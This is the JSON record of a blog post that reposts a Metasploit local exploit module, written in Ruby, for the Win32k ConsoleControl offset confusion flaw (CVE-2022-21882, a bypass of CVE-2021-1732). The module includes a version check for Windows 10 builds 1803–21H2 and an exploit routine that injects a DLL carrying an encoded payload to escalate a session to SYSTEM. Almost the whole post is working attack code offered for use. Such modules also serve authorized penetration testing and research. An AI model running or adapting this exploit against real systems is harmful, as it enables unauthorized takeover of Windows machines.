{"id":21119,"date":"2022-02-28T20:18:22","date_gmt":"2022-02-28T17:18:22","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166169\/cve_2022_21882_win32k.rb.txt"},"modified":"2022-03-02T12:34:35","modified_gmt":"2022-03-02T09:04:35","slug":"win32k-consolecontrol-offset-confusion-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/win32k-consolecontrol-offset-confusion-privilege-escalation\/","title":{"rendered":"Win32k ConsoleControl Offset Confusion \/ Privilege Escalation"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Local<br \/>\nRank = AverageRanking<\/p>\n<p dir=\"ltr\">include Msf::Post::File<br \/>\ninclude Msf::Post::Windows::Priv<br \/>\ninclude Msf::Post::Windows::Process<br \/>\ninclude Msf::Post::Windows::ReflectiveDLLInjection<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">include Msf::Exploit::Deprecated<br \/>\nmoved_from &#8216;exploit\/windows\/local\/cve_2021_1732_win32k&#8217;<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n{<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Win32k ConsoleControl Offset Confusion&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nA vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of<br \/>\nNT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being<br \/>\ntreated as an offset despite being populated by an attacker-controlled value. This can be leveraged to<br \/>\nachieve an out of bounds write operation, eventually leading to privilege escalation.<\/p>\n<p dir=\"ltr\">This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.<br \/>\nIn early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is<br \/>\nis the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to<br \/>\nfunction on a wider range of Windows 10 targets.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n# CVE-2021-1732<br \/>\n&#8216;BITTER APT&#8217;, # exploit as used in the wild<br \/>\n&#8216;JinQuan&#8217;, # detailed analysis<br \/>\n&#8216;MaDongZe&#8217;, # detailed analysis<br \/>\n&#8216;TuXiaoYi&#8217;, # detailed analysis<br \/>\n&#8216;LiHao&#8217;, # detailed analysis<br \/>\n# CVE-2022-21882<br \/>\n&#8216;L4ys&#8217;, # github poc<br \/>\n# both CVEs<br \/>\n&#8216;KaLendsi&#8217;, # github pocs<br \/>\n# Metasploit exploit<br \/>\n&#8216;Spencer McIntyre&#8217; # metasploit module<br \/>\n],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X64 ],<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>\n&#8216;SessionTypes&#8217; =&gt; [ &#8216;meterpreter&#8217; ],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;EXITFUNC&#8217; =&gt; &#8216;thread&#8217;<br \/>\n},<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[ &#8216;Windows 10 v1803-21H2 x64&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X64 } ]\n],<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n&#8216;DisableNops&#8217; =&gt; true<br \/>\n},<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n# CVE-2021-1732 references<br \/>\n[ &#8216;CVE&#8217;, &#8216;2021-1732&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/ti.dbappsecurity.com.cn\/blog\/index.php\/2021\/02\/10\/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack\/&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/KaLendsi\/CVE-2021-1732-Exploit&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/assessments\/1a332300-7ded-419b-b717-9bf03ca2a14e&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2021-1732&#8217; ],<br \/>\n# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.fuzzysecurity.com\/tutorials\/expDev\/22.html&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.geoffchappell.com\/studies\/windows\/win32\/user32\/structs\/wnd\/index.htm&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/byteraptors.github.io\/windows\/exploitation\/2020\/06\/03\/exploitingcve2019-1458.html&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.trendmicro.com\/en_us\/research\/16\/l\/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html&#8217; ],<br \/>\n# CVE-2022-21882 references<br \/>\n[ &#8216;CVE&#8217;, &#8216;2022-21882&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/L4ys\/CVE-2022-21882&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/KaLendsi\/CVE-2022-21882&#8217; ]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-02-09&#8217;, # CVE-2021-1732 disclosure date<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [ CRASH_OS_RESTARTS, ],<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ],<br \/>\n&#8216;SideEffects&#8217; =&gt; []\n}<br \/>\n}<br \/>\n)<br \/>\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nsysinfo_value = sysinfo[&#8216;OS&#8217;]\n<p dir=\"ltr\">if sysinfo_value !~ \/windows\/i<br \/>\n# Non-Windows systems are definitely not affected.<br \/>\nreturn Exploit::CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">build_num = sysinfo_value.match(\/\\w+\\d+\\w+(\\d+)\/)[0].to_i<br \/>\nvprint_status(&#8220;Windows Build Number = #{build_num}&#8221;)<\/p>\n<p dir=\"ltr\">unless sysinfo_value =~ \/10\/ &amp;&amp; (build_num &gt;= 17134 &amp;&amp; build_num &lt;= 19044)<br \/>\nprint_error(&#8216;The exploit only supports Windows 10 versions 1803 &#8211; 21H2&#8217;)<br \/>\nreturn CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">CheckCode::Appears<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nif is_system?<br \/>\nfail_with(Failure::None, &#8216;Session is already elevated&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if sysinfo[&#8216;Architecture&#8217;] == ARCH_X64 &amp;&amp; session.arch == ARCH_X86<br \/>\nfail_with(Failure::NoTarget, &#8216;Running against WOW64 is not supported&#8217;)<br \/>\nelsif sysinfo[&#8216;Architecture&#8217;] == ARCH_X64 &amp;&amp; target.arch.first == ARCH_X86<br \/>\nfail_with(Failure::NoTarget, &#8216;Session host is x64, but the target is specified as x86&#8217;)<br \/>\nelsif sysinfo[&#8216;Architecture&#8217;] == ARCH_X86 &amp;&amp; target.arch.first == ARCH_X64<br \/>\nfail_with(Failure::NoTarget, &#8216;Session host is x86, but the target is specified as x64&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">encoded_payload = payload.encoded<br \/>\nexecute_dll(<br \/>\n::File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2022-21882&#8217;, &#8216;CVE-2022-21882.x64.dll&#8217;),<br \/>\n[encoded_payload.length].pack(&#8216;I&lt;&#8216;) + encoded_payload<br \/>\n)<\/p>\n<p dir=\"ltr\">print_good(&#8216;Exploit finished, wait for (hopefully privileged) payload execution to complete.&#8217;)<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from &#8216;exploit\/windows\/local\/cve_2021_1732_win32k&#8217; def initialize(info = {}) super( update_info( info, { &#8216;Name&#8217; =&gt; &#8216;Win32k ConsoleControl Offset Confusion&#8217;, &#8216;Description&#8217; =&gt; %q{ A vulnerability exists within win32k &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21119","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21119","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21119"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21119\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21119"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21119"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21119"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}